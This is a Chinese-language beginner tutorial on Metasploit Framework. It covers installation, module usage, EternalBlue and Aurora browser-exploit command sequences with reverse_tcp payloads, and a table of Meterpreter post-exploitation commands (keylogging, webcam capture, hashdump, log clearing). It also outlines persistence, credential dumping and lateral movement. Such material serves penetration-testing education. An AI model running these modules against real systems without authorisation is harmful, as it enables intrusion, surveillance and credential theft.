Metasploit Framework (MSF) 使用指南 - 第一篇:介绍与基础用法
引言
Metasploit Framework(MSF)是一款功能强大的开源安全漏洞检测工具,被广泛应用于渗透测试中。它内置了数千个已知的软件漏洞,并持续更新以应对新兴的安全威胁。MSF不仅限于漏洞利用,还包括信息收集、漏洞探测和后渗透攻击等多个环节,因此被安全社区誉为“可以黑掉整个宇宙”的工具。本文旨在详细介绍MSF的基础知识和基本使用方法,帮助初学者快速上手。
一、Metasploit Framework 介绍
1.1 MSF 概述
Metasploit Framework最初由HD Moore于2003年发布,并于2007年使用Ruby语言重写。MSF默认集成在Kali Linux中,同时也支持在非Kali环境下安装和使用。它提供了一套完整的渗透测试框架,包括漏洞利用模块(exploits)、攻击载荷(payloads)、辅助模块(auxiliary)、编码器(encoders)、空指令(nops)、后渗透模块(post)等多个组件。
1.2 MSF 主要组件
- Exploits(漏洞利用模块):利用目标系统中的已知漏洞进行攻击。
exploit漏洞利用模块路径
/usr/share/metasploit-framework/modules/exploits
例如我需要对windows的系统漏洞的利用,我可以查看windows模块
- Payloads(攻击载荷):攻击成功后,在目标系统中执行的代码或指令。
/usr/share/metasploit-framework/modules/payloads
在Metasploit框架中,Payload扮演着至关重要的角色,主要分为Single、Stager和Stage三种类型。Single Payload是完全独立的,功能单一且易于使用,类似于运行一个简单的程序命令,但有可能被非Metasploit工具捕获。而Stager Payload则负责在目标系统与攻击者之间建立网络连接,并下载额外的组件或应用程序,常见类型有reverse_tcp和bind_tcp,分别实现反向连接和正向连接。Stage Payload是Stager下载后执行的更高级、无大小限制的Payload组件。
在实际应用中,正向连接适用于攻击机在内网、靶机在外网且靶机防火墙限制严格的情况,但可能因目标端口流量过大而失败。反向连接则更适用于双方均在外网或内网的环境,此时被攻击机可主动连接攻击机,即使防火墙阻止进入的流量也无法阻挡外出连接。特别地,当被攻击机的防火墙极度严格,仅允许80或443端口与外部通信时,使用reverse_http或reverse_https Payload进行反向连接成为理想选择。
- Auxiliary(辅助模块):执行信息收集、扫描、嗅探等功能,辅助渗透测试。不直接执行攻击。例如,使用smb_version辅助模块扫描SMB服务版本:
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
目录如下
msf利用扫描,我的机器上没有这个服务,所以扫不出来。
- Encoders(编码器):对Payload进行加密,以绕过安全软件的检测。
- Nops(空指令):提高Payload的稳定性和可靠性。
- Post(后渗透模块):在取得目标系统控制权后,执行进一步的攻击动作。
二、Metasploit Framework 基础安装与配置
2.1 Kali Linux 中的 MSF
在Kali Linux中,MSF默认已安装,用户可以直接通过终端启动MSF控制台。
bash复制代码
msfconsole
2.2 非Kali Linux 环境下的安装
在非Kali Linux环境下,用户可以通过以下命令一键安装MSF:
bash复制代码
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
安装完成后,建议添加新用户并切换到该用户下运行MSF,以避免权限问题。
2.3 更新与升级
-
Kali Linux 环境:
apt update apt upgrade metasploit-framework
-
非Kali Linux 环境:
bash复制代码 msfupdate
三、Metasploit Framework 基础用法
3.1 启动 MSF 控制台
在终端中输入 msfconsole
命令启动MSF控制台。首次启动可能会创建数据库,建议以非root用户启动以确保数据库同步。
3.2 搜索与选择模块
- 搜索模块:使用
search
命令搜索特定模块,如search ms17_010
。
- 选择模块:使用
use
命令选择特定模块,如use exploit/windows/smb/ms17_010_eternalblue
,也可以使用搜索到的结果的索引,比如
3.3 查看模块信息
- 使用
info
命令查看当前模块的详细信息。
3.4 配置模块参数
- 使用
show options
查看模块需要配置的参数。
- 使用
set
命令设置参数值,如set RHOSTS 192.168.3.172
。
- 可以使用
setg
设置全局参数,避免在每个模块中重复设置。
3.5 执行攻击
- 配置完成后,使用
exploit
或run
命令执行攻击,这里一般看习惯,都是用的run
。
- 可以使用
exploit -j
在后台运行攻击。
3.6 后渗透阶段
成功攻击后,将进入Meterpreter会话,可以进行一系列后渗透操作,如文件操作、提权、信息收集等。
该表来自csdn 剑客 getshell
Meterpreter > ?
==========================================
核心命令:
==========================================
命令 说明
------- ------------
? 帮助菜单
background 把当前会话挂到后台运行
bg background命令的别名
bgkill 杀死后台meterpreter 脚本
bglist 列出正在运行的后台脚本
bgrun 执行一个meterpreter脚本作为后台线程
channel 显示信息或控制活动频道
close 关闭一个频道
detach 分离Meterpreter会话(用于 http/https)
disable_unicode_encoding 禁用 unicode 字符串的编码
enable_unicode_encoding 启用 unicode 字符串的编码
exit 终止 Meterpreter 会话
get_timeouts 获取当前会话超时值
guid 获取会话 GUID
help 帮助菜单
info 显示有关 Post 模块的信息
irb 在当前会话中打开一个交互式 Ruby shell
load 加载一个或多个 Meterpreter 扩展
machine_id 获取连接到会话的机器的 MSF ID
migrate 将服务器迁移到另一个进程
pivot 管理枢轴侦听器
pry 在当前会话上打开 Pry 调试器
quit 终止 Meterpreter 会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行一个 Meterpreter 脚本或 Post 模块
secure (重新)协商会话上的 TLV 数据包加密
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 安静,然后重新建立会话
ssl_verify 修改 SSL 证书验证设置
transport 管理运输机制
use 不推荐使用的load命令别名
uuid 获取当前会话的 UUID
write 将数据写入通道
==========================================
Stdapi:文件系统命令
==========================================
命令 说明
------- ------------
cat 将文件内容读到屏幕上
cd 切换目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
download 下载文件或目录
edit 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 制作目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
==========================================
Stdapi:网络命令
==========================================
命令 说明
------- ------------
arp 显示主机 ARP 缓存
getproxy 显示当前代理配置
ifconfig 显示界面
ipconfig 显示接口
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表
==========================================
Stdapi:系统命令
==========================================
命令 说明
------- ------------
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有权限
getid 获取服务器运行的用户的 SID
getuid 获取服务器运行的用户
kill 终止进程
localtime 显示目标系统本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重启远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用 RevertToSelf()
shell 放入系统命令 shell
shutdown 关闭远程计算机
steal_token 尝试从目标进程窃取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,例如 OS
==========================================
Stdapi:用户界面命令
==========================================
命令 说明
------- ------------
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件
==========================================
Stdapi:网络摄像头命令:
==========================================
命令 说明
------- ------------
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 从指定的网络摄像头播放视频流
==========================================
Stdapi:音频输出命令:
==========================================
命令 说明
------- ------------
play 在目标系统上播放波形音频文件 (.wav)
==========================================
Priv:权限提升命令:
==========================================
命令 说明
------- ------------
getsystem 尝试将您的权限提升到本地系统的权限。
==========================================
Priv:密码数据库命令:
==========================================
命令 说明
------- ------------
hashdump 转储 SAM 数据库的内容
==========================================
Priv:Timestomp 命令:
==========================================
命令 说明
------- ------------
timestomp 操作文件 MACE 属性
meterpreter >
四、常见问题与解决方案
4.1 数据库连接问题
如果初次运行MSF时未正确初始化数据库,可能会出现连接问题。可以使用以下命令解决:
bash复制代码
msfdb init
若已初始化但连接不上,尝试重启数据库服务:
bash复制代码
msfdb restart
4.2 权限不足问题
在非Kali Linux环境下,以root用户运行MSF可能会遇到权限不足的问题。建议添加新用户并切换到该用户下运行MSF。
4.3 攻击失败
攻击失败可能是由多种原因造成的,如目标系统未开放相应端口、漏洞已被修补或Payload被安全软件拦截等。建议仔细检查目标系统的配置和安全状态,并尝试不同的Payload和配置选项。
五、高级攻击技术
5.1 被动利用(Passive Exploit)
被动利用是一种不直接向目标系统发送攻击载荷的攻击方式,而是通过诱骗目标系统主动连接含有漏洞利用代码的服务器。这种方式适用于目标系统防火墙设置严格或客户端软件存在漏洞的场景。
示例:利用浏览器漏洞
假设目标系统的浏览器存在已知漏洞,攻击者可以设置一个包含漏洞利用代码的Web页面,并诱骗目标用户访问该页面。当浏览器加载页面时,漏洞利用代码将被执行,从而实现攻击。
use exploit/windows/browser/ms10_002_aurora
set URIPATH /exploit
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
exploit
5.2 复合攻击链(Attack Chain)
在复杂攻击场景中,攻击者可能需要利用多个漏洞来实现最终目标。通过构建一个攻击链,攻击者可以依次利用多个漏洞,逐步深入目标系统。
示例:内网横向移动
假设攻击者已经通过MS17_010漏洞控制了内网中的一台机器,接下来可以通过其他漏洞(如SMBv1漏洞、密码猜测等)横向移动到其他机器上。
5.3 利用定时任务或计划任务
在某些情况下,攻击者可以修改目标系统的计划任务或定时任务,以定时执行恶意代码。这种方式可以实现长期潜伏和持续攻击。
六、后渗透阶段的高级操作
6.1 权限提升
在渗透测试过程中,获得系统权限是目标之一。Meterpreter提供了多种提权技术,包括但不限于:
- 使用
getsystem
命令尝试直接提权。 - 利用已知的系统漏洞进行提权(如利用脏牛漏洞)。
- 通过上传并执行mimikatz等工具获取明文密码。
6.2 信息收集
后渗透阶段,深入的信息收集对于理解目标系统的架构和配置至关重要。Meterpreter提供了丰富的命令来收集系统信息,包括但不限于:
- 使用
sysinfo
命令获取系统基本信息。 - 运行
run scraper
命令收集系统详细信息并保存到本地。 - 使用
run hashdump
或run smart_hashdump
导出密码哈希值。
6.3 持久化
为了保持对目标系统的长期访问,攻击者可能会尝试在系统中植入后门或修改系统设置以实现持久化。
- 使用Meterpreter的
persistence
脚本在目标系统中设置反弹Shell。 - 修改注册表或服务以实现开机自启动。
七、自定义模块开发
MSF的强大之处在于其可扩展性。用户可以根据自己的需求开发自定义的exploit模块、payload或auxiliary模块。
7.1 开发Exploit模块
开发自定义Exploit模块需要深入了解目标漏洞的利用机制,并熟悉Ruby编程语言。以下是一个简单的开发流程:
- 研究漏洞:深入理解漏洞的原理和触发条件。
- 编写Ruby脚本:使用Metasploit的API编写exploit脚本。
- 测试与调试:在安全的测试环境中测试exploit的有效性和稳定性。
7.2 Payload开发
自定义Payload的开发同样需要深入的技术背景,包括汇编语言、系统调用等。用户可以根据需要开发具有特定功能的Payload,如自定义shellcode。
八、复杂攻击场景应用
8.1 APT攻击模拟
高级持续性威胁(APT)攻击是一种长期、隐蔽且针对性的网络攻击。利用MSF,安全专业人员可以模拟APT攻击过程,评估组织的安全防御能力。
8.2 水坑攻击
水坑攻击是一种针对特定目标的钓鱼攻击。攻击者会提前预测目标可能访问的网站或资源,并在这些位置植入恶意代码。通过MSF,攻击者可以模拟整个水坑攻击过程,从漏洞选择到Payload执行。
8.3 多阶段攻击
多阶段攻击涉及多个攻击阶段和不同的漏洞利用点。攻击者需要根据目标系统的具体情况设计攻击路径,并依次利用多个漏洞实现最终目标。
九、总结
本文详细介绍了Metasploit Framework的基础知识和基本使用方法,包括安装、配置、模块选择、参数配置和攻击执行等环节。通过学习本文,读者可以初步掌握MSF的使用技巧,为进一步学习进阶用法打下坚实基础。在后续文章中,我们将深入探讨MSF的进阶用法,包括更复杂的攻击场景、高级后渗透技巧以及自定义模块开发等内容。